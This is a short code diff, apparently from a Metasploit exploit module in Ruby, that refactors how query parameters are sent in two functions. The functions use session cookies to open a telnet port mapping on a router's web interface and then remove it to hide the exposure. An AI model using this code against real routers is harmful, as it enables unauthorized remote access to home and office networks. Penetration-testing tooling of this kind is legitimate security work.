@@ -184,15 +184,18 @@ def expose_telnet_port(session_cookies)
184
184
external_telnet_port = rand ( 32767 ) + 32768
185
185
186
186
portmapping_page = '/html/application/portmapping.asp'
187
- url_append = "?x=InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping&RequestFile=#{ portmapping_page } "
188
187
valid_port_export_marker = "var pageName = '#{ portmapping_page } ';"
189
188
invalid_port_export_marker = /var ErrInfo = \d +/
190
189
191
190
res = send_request_cgi (
192
191
'method' => 'POST' ,
193
- 'uri' => '/html/application/addcfg.cgi' + url_append ,
192
+ 'uri' => '/html/application/addcfg.cgi' ,
194
193
'cookie' => cookie ,
195
194
'headers' => { 'Referer' => "http://#{ rhost } #{ portmapping_page } " } ,
195
+ 'vars_get' => {
196
+ 'x' => 'InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping' ,
197
+ 'RequestFile' => portmapping_page
198
+ } ,
196
199
'vars_post' => {
197
200
'x.PortMappingProtocol' => "TCP" ,
198
201
'x.PortMappingEnabled' => "1" ,
@@ -250,9 +253,10 @@ def hide_exposed_telnet_port(session_cookies)
250
253
251
254
res = send_request_cgi (
252
255
'method' => 'POST' ,
253
- 'uri' => " /html/application/del.cgi?RequestFile= #{ portmapping_page } " ,
256
+ 'uri' => ' /html/application/del.cgi' ,
254
257
'cookie' => cookie ,
255
258
'headers' => { 'Referer' => "http://#{ rhost } #{ portmapping_page } " } ,
259
+ 'vars_get' => { 'RequestFile' => portmapping_page } ,
256
260
'vars_post' => vars_post
257
261
)
258
262
return if res && res . code == 200
0 commit comments